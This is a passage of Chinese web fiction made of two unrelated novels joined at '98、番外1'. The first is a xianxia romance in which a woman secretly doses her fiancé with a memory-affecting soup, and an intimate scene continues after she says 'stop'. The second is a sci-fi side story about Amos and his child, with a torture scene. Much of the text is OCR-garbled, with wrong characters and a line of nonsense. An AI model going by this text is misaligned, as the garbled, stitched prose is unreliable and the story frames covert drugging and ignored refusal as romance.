自己强行让他留下来当然可以,可之前几次,她一旦入睡,他就会悄悄离开。 以色相诱? 可以试试。但他最近似乎对此没什么兴趣,确切来说,是自从自己说要回中州之后,他就变成了坐怀不乱的君子。 初茵也弄不清楚发生了什么? 而且自己这段时间在整理行李,暂时也没时间去逗他。 不然用迷药? 突然,她脑中冒出一个念头。 这日晚上,郁九如照例来到寝殿,通常这个时间点初茵已经泡过澡,躺在床上, 可今日,殿内却灯火通明。 各类东西整齐地摆放在地上,足足占据了半个寝殿的位置。初茵一袭白色寝衣,顶着一头半干的长发,背对着他蹲在地上。 “你在做什么?" 她似乎很专注,连他出现都没有发觉。 初茵头也没回,“我想起忘带了南疆的特产,刚好收拾好,这次回去带给湛师兄他们。 郁九如知道她对这事很重视,准备东西更是亲力亲为,光是罗列出来的各类物品都足有十几本册子。 “时间还有很多,不如先休息,明日再整理。 “不行,我怕明日忘了,已经让他们去准备了。 郁九如的目光扫过去,“什么东西这么重要?" 初茵起身向他走来,“倒也不重要,就是我怕自己忘了。 她穿着宽松的雪衣,半干的墨发披散,雪肤红唇,像一朵雨后初荷,让人移不开视线 大概因为她刚沐浴过,空气里弥漫着一股日甜的水雾气息,让他觉得喉咙有些干涩。 他暗暗握拳。 时机未到,南疆的事情没处理完,她也有事要忙碌,一切需等回中州再说。 思及此,他微微侧过头,看向一旁的地面。 初茵顺着他的视线,奇怪地看了一眼地板,也没发现什么不对。 她径直来到他身边,提起桌上的瓷壶,又拿起一旁的倒扣的瓷盅 汩汩的水流声音响起,一股异香瞬间充斥鼻端。 五菌汤? 郁九如看着递到自己面前的瓷盅,抬头不解地看向她。 自从上一次的事过后,她对这东西就避之不及,怎么今天它会出现在这? “我虽然不能喝,但不是每个人都像我这样,也许我师兄他们会喜欢。 初茵眨了眨眼,“这是我试着做的,想找人帮我试试。你能吗?" 她又补充道:“你若也不行,我便去找别人。" 郁九如一顿,他面上露出一丝惊愕,但随即,就微微蹙眉。 不行。 找别人。 他垂眸不声不响地接过瓷盅,心中隐隐泛起不悦。 虽然他并未喝过这种东西,但她做的汤,怎么能让别人来试 念头冒出不过是一瞬,待他回过神来时,杯中已经空了。 “怎么,不好喝?" 因为心中想着事,其实他并不知道是什么味道。回神后面对她的疑问,他只能说味道很好。 "真的好喝?”初茵一脸不相信,凑近他的脸,“可你看起来,不像啊。 乌黑的发被别在耳后,露出纤细柔软的脖颈,衣领微敞,馥郁的气息扑面袭来。 “自然是真的。“ 喉咙干涸至极,他又拿过瓷壶,接连喝了三杯。 “真的。 见他满脸坦然的模样,初茵提起壶晃了晃,里面确实已经是空了。 喝了那么多,竟然没有一点的反应,看来计划失败了。 她走到门前,招招手,将空壶递给侍女,然后摇摇头。 那侍女收到讯息,立刻转身去通报。 初茵暗叹一口气,希望小凤能自求多福,她也帮不上忙。 她转过身,发现郁九如不知何时站了起来。 他眉头紧皱,警惕地盯着她。 这眼神陌生且不善,初茵心下一动,愣在原地。 “是你将我掳到这里来?”他冷声问。 上一刻他还在昆仑,不过是一个恍惚,便发现自己身处这个陌生的宫殿内, 这天下竟有他不知道的术法? 还是说,这里是白蝶的幻境? 面前这女子相貌十分熟悉,但他却想不起何时见过她。 “你不记得我了?”初茵面上露出一丝欣喜。 看来五菌汤不是没有效果,不过,为什么他的症状是失忆?不会再也想不起来了吧? 想到这里,她不免又有一丝担忧。 郁九如冷厉的眸子扫过她的脸,“本君为什么要记得你。 本君。 初茵愕然,他这是还以为自己在昆仑? 见她不说话,郁九如抬步便要离开。 初茵哪里敢放他这样离开,忙伸手挡在他面前,“你不能走!" 郁九如低头。 她挡在自己身前,仰着脸看向自己,眸中的急切倒不似作假。 他的目光从她脸上划过,又不带感情的移开,步伐轻易便绕开了她。 突然,衣角被拽住,他脚步一顿。 “郁九如!我是初茵,你忘了我?" 初茵? 他转头,皱眉打量她,片刻后开口:“你是那个合欢宗的妖女?" 初茵要被气笑了。 好好好,又是合欢宗的妖女,虽然他什么都不记得了,但还是知道怎么踩自己的雷点。 等着!等你醒来再慢慢算账。 她深吸一口气,手指慢慢攀上他的肩膀,勾唇一笑,“你胡说什么,我不是你未婚妻吗? 郁九如垂眸,扫过那只搭在自己肩膀的手,后退一步。 “合欢宗的魅惑之术对我无用,你我非同道人,你不如早日答应退婚。 魅惑之术? 自己什么时候对她用了魅惑之术? 眼下,他这副正气凛然,端肃禁欲的模样,反倒让初茵起了逗弄的心思, 她上前一步,紧追不舍,“为什么要退婚,我偏不退。" 她又靠近了一些,踮起脚,在郁九如耳边轻声说:“我们合欢宗啊,最喜欢你这样的剑修。 被一阵幽馨的气息环绕,郁九如只觉得耳根发烫,呼吸也急促了几分。 股莫名的冲动袭来。 他又向后退了两步,眉头紧皱,不明白自己这是怎么回事, 再看向这妖女,却发现她正偏头看着自己,双眸晶亮,角扬起,笑意从她的两颊过,甜得让人移不开眼 郁九如心里冒出一些没来由的画面,愈发焦躁难耐。 莫非自己已经中了招? 他暗自检查了一番,却发现身体并没什么异样。 见他只是盯着自己,似乎没有要离开的意思,初茵走到门边,想给侍女打讯号。 在她转身的瞬间,郁九如几乎是下意识地伸出手,一把抓住了她的手腕. 他紧紧地抓住她,那只手因为紧张和药性的双重作用微微颤抖着,心里混乱不堪 一方面,他固执地认为眼前的女人危险至极,白己不能让她走 另一方面,他的心底又有一股莫名的情愫涌动,一种熟悉的眷恋感,仿佛他们之间有过.….更亲密的联系。 初茵冷不防被他拉住,惊讶地半转过身,顺着他的手,看向他紧绷的脸, 郁九如就这么盯着她,片刻后,开口质问:“你给我施了什么术法?" 术法? 初茵打量倔强挣扎的神色,大概猜到是怎么回事。 她甩了甩被抓住的手腕,没甩开,她装作不耐烦地说:“我可没给你施术法,我这人最不喜欢强人所难,你不喜欢就算了。 郁九如不但没有松手,反而抓得更紧。 他的目光在她脸上来回扫视,不放过她任何一丝表情的变化。 “你还想去引诱别人。 他的眉头紧紧皱起,抓住她手腕的手不自觉地又加大了几分力度,仿佛生怕她会突然挣脱逃走。 初茵忍不住白了他一眼,故意道:“自然,我很忙的。 被眼前之人似娇似嗔地瞪了一眼,他身体一僵,又猛然惊觉她容貌出众,若是就这样放她离开,难免不会再去祸害其他人, "你哪也去不了,跟我回昆仑领罚。” 他力气很大,拉着她向门外走,初茵一时间竟挣脱不了。 她脚下被裙衫绊住,瞬间失去平衡。 “啊 出口的尖叫声夏然而止,她在倒下去的瞬间,郁九如转身揽住了她的腰, 手掌覆住她纤薄的脊背,怀中人看向他的目光里还带着一丝惊惶, 他想,她应该是被吓住了。 可是为什么,他的心脏也跳得这么厉害。 郁九如又在低头看她,困惑的眸中带着几丝紧张,那张脸上虽然肃穆凛然,但又因为实在俊美,反倒给初茵一种新奇的感觉. 她勾起唇角,一只手臂勾着他的颈项,倾身附在他耳畔, “你真舍得把我交出去?" 股热流涌上心头,他垂头,目光移向微微张开的唇瓣。 意识到欲/望滋生的瞬间,便呈现出燎原之势,势不可当。 呼吸交缠接近,他脑中突然闪过几个耳鬓厮磨的暖!昧画面,他张了张口,想要说些什么,却发现自己一个字也说不出来。 “你…" 他紧紧盯着她的眼睛,想从那双狡黠的眸里找到答案。 初茵很快发现了他不对劲,他的眉头紧紧皱起,脸上也露出了复杂的神情。 “怎么了?”她问。 郁九如摇摇头,没有放开握住她的手。 他的眼前出现了一些似真似假的幻像,像是记忆,又像是幻影。 突然,有人握住了他的手。 “跟我来。”馨甜的气息萦绕在他的鼻尖。 迷迷糊糊中,感觉有股温柔的力量牵着自己,郁九如缓缓向前走,很快,他感觉自己像是走入了一片温暖阳光下。 “睡吧。 他努力想要看清眼前的人,可视线却摇摇欲坠,越来越模糊 初茵看着躺在床上还紧紧拽着自己手臂的郁九如,幽幽叹了一口气,然后,她在他身侧找了个角落,把自己缩进去。 这日清晨,她睁开眼,发现郁九如竟然还没走。 他已经醒了,只是在她旁边侧起身,支着手臂看她。 初茵很快想起昨天晚上的事,可看他现在样子,像是已经恢复了,所以应该没事了。 她又闭上眼。 “昨天是小凤的主意? 初茵倏然睁眼,瞪着他,“是我的主意,你昨天一口一个妖女,我还没找你算账。 郁九如也回想起了之前的荒唐言语,他轻声辩解:“那时我并不清醒。 “不清醒说的才是实话。“ 她转过身,背对着他,心里在想如何快点翻篇这件事。 突然,她感觉自己的侧腰一沉,搭上一只手。 她头也没回,想将他的手拨下去。 突然,她的手腕被牢牢握住。 “这是什么?" 他的眸光顺着她的手指,看到了她手腕内侧一道浅红色的伤痕。 那是一道还没有长好的疤痕,伤口带着淡淡的粉。 初茵也愣了,她转过身,看了一眼自己手臂外侧的伤痕,皱眉想了一会。 “应该是找你的那日,摔了一跤。" 当时有一根树干戳破了手臂,她疼了一下,但看不见伤口,加之愈合很快,她就忘了这件事, 他盯着那一道伤痕,神情认真而严肃,仿佛是在思考什么。 她语气轻松,“没什么,不疼也感觉不到。" 郁九如深深看了她一眼,握住她的手腕,拉倒白己身前,将唇紧紧贴仕那一条浅色的疤痕上 浅浅的呼吸拂过皮肤,唇瓣贴上的一瞬间,炙热酥麻的感受顺着手臂传到了心脏。 他抬起头,两人对视。 初茵耳根发烫,忍不住移开视线,“我的伤早就……” “是我的。”她的话没有说完,便被打断。 他凝视着她,唇缓缓移动到了她手肘的内侧,慢慢向上,到了她的肩膀。 每一次轻触, 都带着不可磨灭的炙热,激起身体的战栗。 “可以了。”她低声抗议。 下一瞬,抬起的手臂被握住。 他倾身而上,长发垂在她的脸畔,幽邃的眸子凝视她,像是装了满潭的星子,沉甸着满满的深情。 鸦羽般的长睫颤动着垂下,停在她微张的唇上,俯下身。 “这,也是我的。” 再次起身,他的手抚上她的脸,眸中带着水汽,眼神却清醒坚定 他再次俯下身,含住她的耳垂,语气含糊:“说你是我一个人的。 初茵的脑子虽然晕乎乎,但直觉让她下意识摇摇头。 “你是。 他反驳似的加重了力度,皮肤立刻出现了一片殷红。 “看,这里也是。” 薄唇没有休止地辗转,制造出一片又一片花瓣似的痕迹,像是在标记领地 每种下一片,他便喃喃出声。”这儿也是。" “这也是。” 从初茵的角度,她只能看到他利落的眉骨与挺拔的鼻梁线条。 她被他缠得神志不清,身上冒出一层薄汗,紧紧抓住他的长发。 “停、停下!" 她眸中氤出泪痕,手指发软,声音也软得不像话。 下一瞬,她的手便被紧紧握住,十指相扣,按在了丝帛上。 他的脸重新出现在视线里。 他深邃的眸色晦暗至极,看向她的视线,带着毫不掩饰的占有欲 “阿茵。 “嗯。”初茵的鼻音浓重,水雾让她的视线有些模糊, “说你是我的。”耳畔只能听到沙哑的,极尽忍耐的喘]息. 初茵瞳孔涣散,呼吸急促道:“你是我的。 郁九如神色一怔,唇角缓缓勾出一个浅笑,复又俯下身停在她耳畔,轻声道,“好,我是你的,全部都是你的。 几日铸就的心防顷刻便崩塌。 兴俱遒循 童或许早更好的方法 c小 那此事情都可山向后的 总之,他彻底放纵了自己。 之后的日子,小凤觉得她的日子好过了很多。 这几日郁九如不大管自己了,就算出现也只是冷脸给她布置些工作,然后就会回到寝殿里 听说,他们在准备回去的东西。 等到出发那日,她看到了一个车队的行李时,突然意识到情况不妙。 “尊上呢?”她拨开人群,向车队最前方走。 “尊上前日便离开了。”一个大巫惊讶地道,“您还不知道吗?" 她确实是不知道。 前日,初茵和郁九如突然出现。 初茵说了一番道别的话,郁九如在看她的“作业”,她当时战战兢兢,并没有太在意。 难道那个时候,他们就是来道别的? 那以后她怎么办? 小凤崩溃地看着跟在自己身后的几个大巫 98、番外1 阿莫斯保证,曾经他精神力凝出来的一把把精神力长剑还是很有气势的,在有小楚藻之前。 后来 阿莫斯想着自己收起来没有彻底融回自己冠冕精神力之中的那些精神力长剑一有的剑牺被哨了几口,有的被小幼崽好奇的啃掉了剑尖,有的剑身上惊现几个小牙印,甚至于他头顶的冠冕,那小小的牙印还没消失。 此刻看着小楚藻因为两只小手都要用来下床,于是着他的精神力长创,吃以的胞过来,他显然都还没清醒,头顶的小光环高闪闪的,一抖一抖,举高两只小手,脚尖赔起来,围着阿莫斯手中皇着的糖糖转, 阿莫斯习惯成自然,他已经不会头皮发麻了,他只是非常麻木的收回了自己的精神力长剑,将今天小幼崽的份额抓给他, “吃饭前不可以吃糖。 而且阿莫斯觉得有些训练要不要先往后放一放,赫尔老师之前给幼崽灌输的防骗理论,似乎效果一般般 阿莫斯低头,看着身后翅膀扑腾着,像是一支欢快小白鸟的眼睛亮品品的幼崽——这好似有些太好骗了? 阿莫斯思量着。 “嗯嗯。小楚藻接过了阿莫斯递给他的糖果,还迷迷糊糊的打了个哈欠,将糖果塞进了自己的口袋里面。小幼崽白皙的小脸上还印着刚刚不小心睡的回笼觉的红痕——那是一个小星星,来自小幼崽领口的装饰.因为是秘密出行,关于圣卡斯的相关元素都暂时隐去,于是小家伙穿的是非常休闲风格的衣服。暖黄色的卫衣后面带了帽子,里面是橘黄色的绒绒,两条星星装饰的帽绳垂在幼崽跟前,看起来柔软,衬的幼崽的小脸也有点绒绒的质感。阿莫斯也难得没穿军服,他穿着白色里衬,外面是黑色的长风衣,只有领口袖口这些地方点缀着价值不菲的宝石装饰,黑色的半掌手套,冲淡了阿莫斯以往穿着军装的凌厉,凸显了他散漫的气质小楚藻伸出手手来,拉住了阿莫斯的风衣,他困倦的又打了个哈欠,看向窗外。天蒙蒙亮,刚刚泛白的天际线还不足以照亮周围,于是床头开着暖色的小灯。往日这个时间点,其实小楚藻还在睡。而且外面虽然已经没有了冰雪,但其实气温还是很低的,温暖的被窝实在是对人非常有诱惑力,毫不夸张的说,小楚藻想要长在被窝里!阿莫斯弯下腰,将小楚藻抱起来。“走了,我们准备出发了。 另一处房间,不久之前,天还暗沉沉一片的时候,安静躺在床机之上,板板正正睡着的费营怪然睁开眼睛出起身来,她的呼吸略有点急促,伸出手,缓缓的样住了自己的颜头,她下意识看了一眼周围的环境 才慢吞吞的呼出一口浊气。 噩梦 又是噩梦。 那个集团军覆灭,亲人消失的噩梦,对费蔓来说,因为她年幼时候的鲁莽,而到今天,已经持续了几百年的噩梦 费蔓起身穿好衣服,她咬着发带,利落的束好黑发,抬眼看向镜子之中的人。 高束马尾的王冠族女性眉眼冷酷凌厉,看起来冷静沉稳,像是一把随时准备出鞘的利刃,很可靠。 王冠族在折磨之中变得猩红的眼瞳里,隐藏着沉沉的暗色,如同深不见底的寒潭。 她的表情没有一丝一毫的改变。 噩梦她已经习惯了。 那是她应当承受的代价。 费蔓转身离开房间,先一步下楼等待阿莫斯和小幼崽。 楼下,弗雷、安亚已经等候在此。 这一趟行动是保密行动。 王冠族所剩的族人不多,族内的确还有一些小幼崽没有见过的王冠族,不过幼崽相熟的王冠族基本都知晓这次的行动。 梅仑和卡曼也到了,正你一句我一句的拌嘴。 赫尔则一声不吭的坐在旁边,莫尔洛还在接受进一步的治疗,乔布和乔舒亚也还在被监控之中,整体情况看起来都在缓慢转好。 乔布和乔舒亚兄弟不是那种听话的王冠族,但赫尔也不得不说,藻藻对于王冠族来说,真的是个大杀器啊一一毕竟他们已经拥有了近乎是这个星际之中最强的精神力,虽然依旧会受伤,但除了污染之外,其他东西对他们天法造成什么有效 打击。 但五岁的藻藻平等的做到了——让每一个看见他掏出丘比特之弓的王冠族颤抖。 “所以我说了,你的问题比较严重,你有病,要多在王庭修养,但我又不是,我现在情况可好了,我凭什么跟你一个待遇啊,小,卡,卡——" 梅仑不满的撑着下巴。 “轮了一圈,也该轮到我跟藻藻出门了吧?" 卡曼对着梅仑翻白眼: “你当出去旅游呢?你才有病,再叫我这个名字,我半夜把你那头难看的白毛给你剃了。 "你懂不懂得欣赏?" 梅仑睁大了眼睛,他破防了。 都不知道多大年纪的老家伙们了,还因为这点小事情争吵。 梅仑捏起自己锤在肩膀上的白发。 “你没看星网上都说吗?时尚!这是时尚。" “你确定你要听星网上说的” 卡曼似乎听到了笑话,又看了梅仑一眼。 不等梅仑反驳,他开口。 “菲尼那一脸的胡子都能被称为个性和糙汉呢。" 梅仑:…-个菲尼将整个星网的可靠程度都弄的掉了好几个等级。 坏了,这个他反驳不了。 “你今天来的有点晚。" 弗雷靠在沙发边上,抬手,对着下来的费蔓打了个招呼。 费蔓没吭声——大厅内,除去卡曼和梅仑的声音,基本上就没有其他人的声音。 这一代王冠族们大多数情况下如此。 私下相处的时候,整体比较安静。 直到阿莫斯抱着小幼崽从楼上下来。 暖黄色的浅浅色调非常衬幼崽的肤色,他头顶精致的漂亮的小光环在这样的环境之中更亮。 幼崽迷蒙的抱着阿莫斯的脖子,往下面看了一眼,看到他们,头顶的光环轻轻抖动了一下。 “大伯,姑姑,小叔,梅仑爷爷,卡曼爷爷,老师,早上好 这个清晨,幼崽稚嫩的小奶音一口气将聚集在这里的王冠族叫完。 赫尔只点头,没吭声,梅仑一下子笑起来,对着幼崽使劲招招手。 “早上好藻藻,”他肘了卡曼一胳膊,“听到了没有,先叫的我,比喊你喊的早!" 卡曼:“…你是什么精神胜利法吗?" 这些时间修养的有些气色的卡曼抬眼看向小楚藻,那张一直不太友善的面容露出一个略有些温和的笑:“早上好藻藻。 弗雷:“早上好。” 安亚:“啊……想一想今天的工作,也没那么好,不过算了——早上好藻藻。" 费蔓伸出手:“早上好,要不要姑姑抱?" 小幼崽睁圆了眼睛,抱紧了阿莫斯的脖子。 不了不了,婉拒。 “陛下。 再次开口的是赫尔。 他从昨天知道阿莫斯的决定开始就对这件事情不是很赞同。 “虽然我之前一直劝您要让藻藻多锻炼,他是个小王冠族,不是我们掌控的花朵。 工冠族虽然护崽,但因为个体大强,所以其实并不是很会养幼患,小王冠族也会遇到性折爬起来,但网莫斯之前完全想错了小楚菜的柔软程度,还有很多事情对小幼感的威册,以至于后面的这段时间内长时间处在这种小心翼要呵护中的状 态,现在也就是藻藻年龄小,之前的生活环境跟他们以前不一样。 但是 “怕尔联盟曾经是灵瞳族的领域,同为长生种,作为星际上对抗污染对抗异兽的力量,我们很少会去插手柏尔联盟那边的事情,我们的势力范围到不了那么远,我还是觉得让费蔓殿下安亚殿下前往也已经足够了。 至于菲尼? 这家伙只要出任务,就没有靠谱的时候。 只有出发的时候是好的,然后就靠着自己的一身蛮力带着跟他气质相近的倒毒蛋们的第三集团军在星际上横)中直撞,倒也总是有意外收获就是了 赫尔并不指望菲尼能在此发挥什么大作用。 现在前柏尔联盟那边的圣卡斯势力主要是在菲尼之前出发的军队,正在秘密调查,但效果不佳 对于这种不能完全掌控的星域,曾经丢失过爱人,痛不欲生好几年的赫尔有种本能的焦虑。 “老师倒也不用担心。” 安亚看过去。 “二哥能护好藻藻,再说了,那边有赞歌组织的手笔,这些家伙真的跟蟑螂一样,遍布星际,当它们这个组织开始出现的时候,就已经到处都是了。" 梅仑见缝插针:“你还是那么喜欢蟑螂。" 安亚:… 小幼崽其实还迷迷糊糊没清醒,大人们交谈也压低了声音,他反应了好一会儿,才看向阿莫斯。 赫尔也知道自己只是在多此一举,很快改口:“可能是我多虑了,到时间了,陛下,费蔓殿下,小殿下,准备出发吧。 他们穿过走廊,来到圣卡斯的停靠处。 太阳还没升起来。 他们走到一半,在很远的地方感受到了有人的存在, 弗雷往旁边看了一眼。 “是成悬议长,他早上来的早,整理昨天的议题结果。" 王冠族们很隐蔽,没有发出一丝一毫的声响。 不过在时间交替之中,王冠族内,上一任帝王克兰西斯陛下的影响力已经逐步消弭,王冠族内部已经毫无疑问的将阿莫斯作为不可替代的中心。 而王冠族当初逐渐走向毁灭,大部分王冠族基本都还是默认当初克兰西斯当初的计划,圣卡斯帝国培育新生力量,以应对离开王冠族之后的绝境 但这并不妨碍他们不爱搭理这位对克兰西斯陛下非常忠诚,还在践行当初克兰西斯陛下命令的老臣。 “费葛姐,听说你回来之后根本没去过议会,也没跟成悬打过招呼?" 安亚扬了扬眉梢,他走在费蔓身边。 费蔓想也不想:“啊,我社恐。” 所有王冠族的脚步停顿了一下。 什么? 你说你社什么? 小楚藻睁圆了眼睛,扒在阿莫斯的肩头看着社恐的''亲亲狂魔’ 稚嫩的小奶音发出了所有王冠族的心声:“啊?" “你指的社恐是.…让别人跟你处在同一社会的时候感受到恐惧吗? 安亚看着费蔓。 “说瞎话编点靠谱的。“ 这边说着,清晨,秘密行动的星舰快速起飞。 与此同时。 前柏尔联盟边境某星球研究所上 “唔" 随着咔嚓一声脆响,一脸消极颓废的女性发出很轻的闷哼,紧紧的皱着眉头,额头汗水大颗大颗滚落,她忍受着剧痛,看着被掰弯了的手指,“我可看到了你们没来及销毁完的资料了,你们是圣卡斯的什么研究小组对吗?“为首的是个看起来三十来岁的男人,他穿着外骨骼式的机甲,背后打着两支能源枪,自我感觉非常良好的单脚踩在凳子上,轻松的掰断了她的手指。“说说吧,都我了好几天了,也不用指望什么圣卡斯的人来救你们,王冠族?呵,王冠族那都是在星际的哪一边?他们再厉害能管得着我们这里?以前他们就不酸插手这边的事物,至于被王冠族消灭的那群家伙,一个个跟有病做的知道王冠族厉害还非要怼到前面去招摇,我可不一样。五八等面DIY钟知意终于缓缓抬头,满是汗水的脸上冷漠阴郁,她苍白着嘴唇,只冷冰冰的掀动了一下:“滚。男人后退两步。他率了一口,还真就的了闷了,这些圣卡所人是什么情况?他在前始尔联些附近得了赞歌集团的好处,拿着好处保护这处实验室,在这里说一不二称王称雷都多少年了,也没博见骨头这么硬的,威画利秀,致幻药物,都设能让他们开口。而之前他们也发现了圣卡斯的军队来到了这附近,圣卡斯离前柏尔联盟这么远,居然还真没有一点都不管,让本来如鱼得水的环境一下子有点紧张。偏偏赞歌集团能给他们丰厚的奖励,资源,地盘,甚至于改善精神力或者得到一部分像是长生种那样特殊精神力的药物。男人摆了摆手:“继续。他还真就不信了。“姜超老大一男人转身,旁边的小弟凑上来。"最近风头天象了,听说从远一点的星域开始,有好多实验室被不明买力福毁了,本来拍尔玩照这边温出,我们浑水模鱼能找引不少实验体,现在不太好信,消龄了一大此,这圣卡斯的人又不好一下子下死手,您看我们是不是想办法画动!艘星舰?"姜超扫了一眼手下,眯着眼睛应了一声。“你说的也对。 不远处躺着几个人,有的被注射了不明液体都昏迷了过去,还有穿着圣卡斯军装的,那是他们之前找到护卫,就算是单兵素质再高,也于不过一拥而上的这群家伙。“在这个实验室,我说了算,圣卡斯再怎么样,也不会为了你们几个小屁民兴师动众,这个星际就是这样的,认清楚现实,好好合作不好吗?我看过你的名牌,钟,钟知意女士,是吗?" “还有圣卡斯那些军队一直在到处搜索,这些圣卡斯人,咱们是不是稍稍再考虑一下.?" “你怂什么?"姜超瞪了身边的手下一眼。“还有半个多月,圣卡斯国庆典礼了,这个时候的王冠族哪有时间来找我们的晦气?不可能的,这里不会出现王冠族!圣卡斯内部可不好安插人进入,你知不知道这个研究团的价值啊?放了,不可能!"在这些声音之中,被注入特殊药物,即将昏迷过去的钟知意迷迷糊糊的忍着疼痛闭上了眼睛。她想着这-切一她的一生都在颠沛流离。幼年丧失所有的亲人,在流浪星流浪,流浪的过程之中还发生了意外,被人拐卖去某个星际实验室做了许多年下手,身上也被做过一些实验,她身边都是不幸,唯一还算幸运的是她命这么硬,这种时候都还活着。然后实验室被圣卡斯的军队热毁,她跟着去到了圣卡断谋生,作为外人,她要留在圣卡断,一言一行一举一动南被监控着,她对于王冠族设有其他圣卡断人那样强的依较感,一路上喷殖鲜件,各种意外,到最后,唯一有点幸运的事情,,是在她不知所措的时候遇见了老师。老师的身体不好,她努力学习着一切。但不幸果然常伴她身,此刻因为收集特殊样本来到柏尔联盟,赶上柏尔联盟彻底溃散,不仅是她自己被带来到了这里-一老师怕也已经听到她的消息,不知道老师的身体现在怎么样了世界上大概就是有像她这样不幸的人吧?….从不知道什么叫做守得云开见月明。 公 说是准备国庆典礼没时间搭理他们的王冠族星舰正在秘密的快速行进, 时间已经过去一段时间,他们的星舰降落在距离前柏尔联盟边缘的一处星球上, 这里被圣卡斯帝国军队实际掌控着。 在前往这边的途中,他们倒是跟菲尼联络上了, 说来也怪,菲尼出任务就好子以跟正经任务无缘一样,疯狂走支线,非尼在前进的途中,第二集团军路线偏移,间进了一个星际实验室,他们快速备毁,离开之际,遇到了一般奇怪的星舰,这星舰没有一点攻击,全堆了防海和速度,挑峰的》 他们开了不痛不痒的炮击,然后快速溜了。 菲尼本着不放过的原则,跟上去 嘿,你猜怎么着? 他找到了一个又一个正在发展的小据点,还有不少据点里找到了赞歌组织那扭曲的标志,甚至还捣毁了一个赞歌组织成员,但大概只是小喽啰 但只要能对赞歌集团造成打击,菲尼的目标也就完成了,而且如果那艘民用科研星舰的失踪跟赞歌组织有关系,说不定他们还能找到新的线索 所以他暂且转变思路,一路冲过去。 之前那奇怪的星舰也偶尔出现,诡异的带着他们冲到一处,他们捣毁一处,再带他们往前跑,像是标记了一个个目标点一样。 不像是挑衅,像是带路。 菲尼被阿莫斯命令继续捣毁那些据点找寻线索,阿莫斯和费曼带着小幼崽已经抵达目标星域。 那艘特别的星舰上,不少人忙碌。 此刻, 老大,怎么汇报? “怎么汇报?" 圣花靠在椅子上,双手抱胸。 “如实汇报啊!" “啊啊?" 他们跑到一处,组织据点就毁掉一处,这样如实汇报吗? “"你这么说-一我们发现了圣卡斯军队对我们重拳出击,我们奋勇反抗,但仍不敌,节节欢退,不过我们勇于向着圣卡斯军以开火,幸好我方星舰速度快,多次侥幸运脱,但星舰也造成了很重大的损毁,需要更多的资源修补。 圣花撑着脸,摆摆手。 “就这么说——差不多了,跑的快一点,次数太多,再下去得露馅,那个舰队太敏锐了,找机会离开这边。 而另一边,阿莫斯带着小楚藻正在登上一艘民用星舰。 他们得到了最近的相关情况,民用星舰上那条航线已经被来来回回搜索了一圈,周围都没有查到任何不对劲的地方。 不过听说这片区域,有星舰失踪也是正常情况。 除去军舰的日常航行找寻之外,他们还置办了许多前柏尔联盟的常用民用星舰类型,试图钓鱼,但并没有成效。 阿莫斯和费蔓分头登上星舰,准备伪装一下,在这附近转一圈看看情况。 阿莫斯带着小幼崽。 小楚藻今天也伪装起来,小一只,牵着阿莫斯的手,他今天跟阿莫斯亲着亲子装,都是深咖啡色的小风衣,幼崽的头顶还戴了一顶咖啡色的帽子,仰头软软园圆的小脸笑起来,可爱的要命 “叭叭,叭叭——不一样哎,完全不一样 民用星舰跟圣卡斯的军用星舰布置完全不同。 最前方是餐饮区,后面都是座位,不像是军舰那样庞大,一个一个房间分割。 幼崽拉着阿莫斯的手,好奇的左右看了一圈,最后被阿莫斯抱着,来到了靠窗的位置。 置办的是前柏尔联盟最常见的星舰,在这里有儿童座椅,提供一些吸引孩童注意力的玩具,小楚藻也没见过。 阿莫斯简单的跟身边的人交流了几句,他们分散坐开——这里都是圣卡斯的军人。 星舰启航,幼崽正好奇的拿着玩具来回看着。 这好似是个图片盒子,从中间的小孔看过去,能看到画面,按动按钮能不断调节。 幼崽举高高,歪着脑袋,好奇的看着。 阿莫斯坐在小家伙身边,看着外面,再看看小幼崽。 “藻藻,这次可能有点危险。” “什么危险呀?" 阿莫斯看着小家伙,其实也在思考,虽然他能够护住小幼患,但这个年龄带着他做这些事情是不是有点危险了,阿莫斯没见过别人养王冠族的幼患,他的父亲也对他从来都是放养的状态,阿莫斯拿不准这个标准 “倒也不能说是危险,可能会吓一跳,爸爸之前不是跟你说了,有人拐星舰。" “嗯嗯,藻藻知道,要是藻藻不跟紧爸爸,他们还会拐藻藻!" 幼崽仰着小脑袋跟阿莫斯说着。 看来是听进去了。 “藻藻会跟紧叭叭的!”然后阿莫斯听小幼崽这样说,“叭叭是最厉害的,藻藻相信爸爸,爸爸不会让藻藻被拐走的! 阿莫斯停顿了一下,摸了摸他的小脸,应了一声。 星舰航行了大概几个小时,一路风平浪静,看起来这一次也没能成功找到什么线索。 但也就是这个时候,远处悄无声息到来的一艘星舰注意到了这艘民用星舰。 姜超的手下这几天被逼的没办法,只能偷摸摸的在圣卡斯军队离开之后,找寻合适的目标 他就说了,真不就找到了吗?! “快,靠上去!亮舰炮! 而星舰上,小幼崽已经将周围的照片盒子看了一圈,里面的图画都不一样,直到看到某一个,小幼崽身子一僵,呆滞了一瞬间。 阿莫斯意识到什么,低头看过来。 “怎么了?" 就见幼患举着那个照片盒子爬高高,神神秘秘的伸出小手于捂住了阿莫斯的眼睛,然后将阿莫斯的视线对准了照片盒子里的画面,撒开手手——"叭叭,你看!" 阿莫斯毫无防备,往里面一看,猩红的眼瞳略有些停滞,瞳仁似乎收缩了一瞬间,但表面看起来还很平静。 这是个整蛊的照片盒子,不是小朋友的玩具,几张普通的风景画之后,出现了一张大脸,冷不丁会吓人一跳. 幼崽眼底带着愤愤,握着小拳头,他脱了鞋,穿着绒绒袜子的小脚脚踩在柔软的椅子上,他软糯的说着:“叭叭,藻藻就是这样,被吓了一跳!" 阿莫斯:… 所以也要来吓爸爸一跳是吗? 大孝子:) 阿莫斯正要说话,就听见了警报声骤然响起,阿莫斯愣了一瞬间,前方有人飞快的喊话。 “陛下,有星舰拦路,已经亮了舰炮了!示意我们打开连通设置!" 阿莫斯:……嗯? 小楚藻还举着那个整蛊的照片盒子,呆呆的看了看阿莫斯,他想了想,乖乖的爬下来去穿鞋,然后学以致用。 “叭叭,有人要拐藻藻?" 阿莫斯的声音很平稳:“嗯,还要拐爸爸。